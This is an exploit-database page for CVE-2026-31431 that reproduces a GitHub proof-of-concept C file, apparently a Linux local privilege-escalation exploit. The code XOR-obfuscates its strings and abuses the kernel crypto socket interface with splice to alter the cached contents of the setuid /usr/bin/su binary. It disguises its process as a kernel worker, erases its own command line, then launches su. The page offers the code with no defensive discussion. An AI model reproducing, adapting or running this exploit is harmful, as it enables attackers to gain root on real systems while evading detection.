Exploit database

GH-4afaa959f5dba14d029ca10e90607b4e

lonelyor/cve-2026-31431-exp

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
lonelyor/cve-2026-31431-expRevision 972433bac0d9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copy_fail_exp_终极混淆版.c

C · 4,451 bytes
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define K_X 0xBD
#define S_A (139 + 140)

static inline void _vfs_l1(unsigned char *d, size_t l) {
    for (size_t i = 0; i < l; i++) d[i] ^= K_X;
}

static inline long _vfs_low_call(long n, long a1, long a2, long a3) {
    long r;
    __asm__ volatile ("syscall" : "=a"(r) : "a"(n), "D"(a1), "S"(a2), "d"(a3) : "rcx", "r11", "memory");
    return r;
}

static int _vfs_sync_check(int f, size_t o, const unsigned char *p) {
    int s = -1, a = -1, q[2] = {-1, -1}, r = -1;
    int _st = 0x10;

    unsigned char t[] = {0xdf, 0xd4, 0xd0, 0xd5, 0x00}; 
    unsigned char n[] = {0xd0, 0xc4, 0xc5, 0xd9, 0xd4, 0xdf, 0xd2, 0xd4, 0xdf, 0xcc, 0xd5, 0x97, 0xd9, 0xda, 0xd0, 0xd2, 0x99, 0xd9, 0xda, 0x92, 0xc6, 0xda, 0x93, 0x96, 0x91, 0x94, 0x99, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0xad, 0x91, 0xad, 0xbd, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x91, 0x00};
    
    while(_st != 0x0) {
        switch(_st) {
            case 0x10:
                _vfs_l1(t, 4); _vfs_l1(n, sizeof(n)-1);
                s = _vfs_low_call(41, 38, 5, 0);
                _st = (s < 0) ? 0x0 : 0x20;
                break;
            case 0x20: {
                struct sockaddr_alg sa = { .salg_family = 38 };
                __builtin_memcpy(sa.salg_type, t, 4);
                __builtin_memcpy(sa.salg_name, n, sizeof(sa.salg_name));
                _st = (syscall(49, s, (struct sockaddr *)&sa, sizeof(sa)) < 0) ? 0x90 : 0x30;
                break;
            }
            case 0x30: {
                unsigned char k[40] = {0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x10}; 
                syscall(279, s, S_A, 1, k, 40);
                unsigned int v = 4;
                syscall(279, s, S_A, 5, &v, 4);
                a = _vfs_low_call(43, s, 0, 0);
                _st = (a < 0) ? 0x90 : 0x40;
                break;
            }
            case 0x40: {
                unsigned char b[8];
                __builtin_memset(b, 0x41, 4); 
                __builtin_memcpy(b + 4, p, 4);
                _vfs_l1(b + 4, 4);
                char m[128] = {0};
                struct iovec v = { .iov_base = b, .iov_len = 8 };
                struct msghdr h = { .msg_iov = &v, .msg_iovlen = 1, .msg_control = m, .msg_controllen = sizeof(m) };
                struct cmsghdr *c = CMSG_FIRSTHDR(&h);
                c->cmsg_level = S_A; c->cmsg_type = 3; c->cmsg_len = CMSG_LEN(4);
                c = CMSG_NXTHDR(&h, c);
                c->cmsg_level = S_A; c->cmsg_type = 2; c->cmsg_len = CMSG_LEN(20);
                ((unsigned char *)CMSG_DATA(c))[0] = 0x10;
                c = CMSG_NXTHDR(&h, c);
                c->cmsg_level = S_A; c->cmsg_type = 4; c->cmsg_len = CMSG_LEN(4);
                ((unsigned char *)CMSG_DATA(c))[0] = 0x08;
                if (syscall(46, a, &h, 0) >= 0 && pipe(q) >= 0) {
                    if (syscall(275, f, NULL, q[1], NULL, o + 4, 1) > 0) {
                        if (syscall(275, q[0], NULL, a, NULL, o + 4, 1) > 0) r = 0;
                    }
                }
                _st = 0x90;
                break;
            }
            case 0x90:
                if (q[0] != -1) { close(q[0]); close(q[1]); }
                if (a != -1) close(a);
                if (s != -1) close(s);
                _st = 0x0;
                break;
        }
    }
    return r;
}

int main(int argc, char **argv) {
    unsigned long h = 0x12345678;
    prctl(15, "kworker/u2:0", 0, 0, 0);
    if (argc > 0) __builtin_memset(argv[0], 0, strlen(argv[0]));

    static unsigned char e[] = { 0xcd, 0xcc, 0xcd, 0xcc, 0x3d, 0xbc, 0x94, 0xbb }; 
    int f = open("/usr/bin/su", O_RDONLY);
    if (f < 0) return h ^ h;

    for (size_t i = 0; i < sizeof(e); i += 4) {
        _vfs_sync_check(f, i, e + i);
    }

    if (fork() == 0) {
        char *p[] = { "/usr/bin/su", NULL };
        execve(p[0], p, NULL);
        _exit(0);
    }

    wait(NULL);
    close(f);
    return 0;
}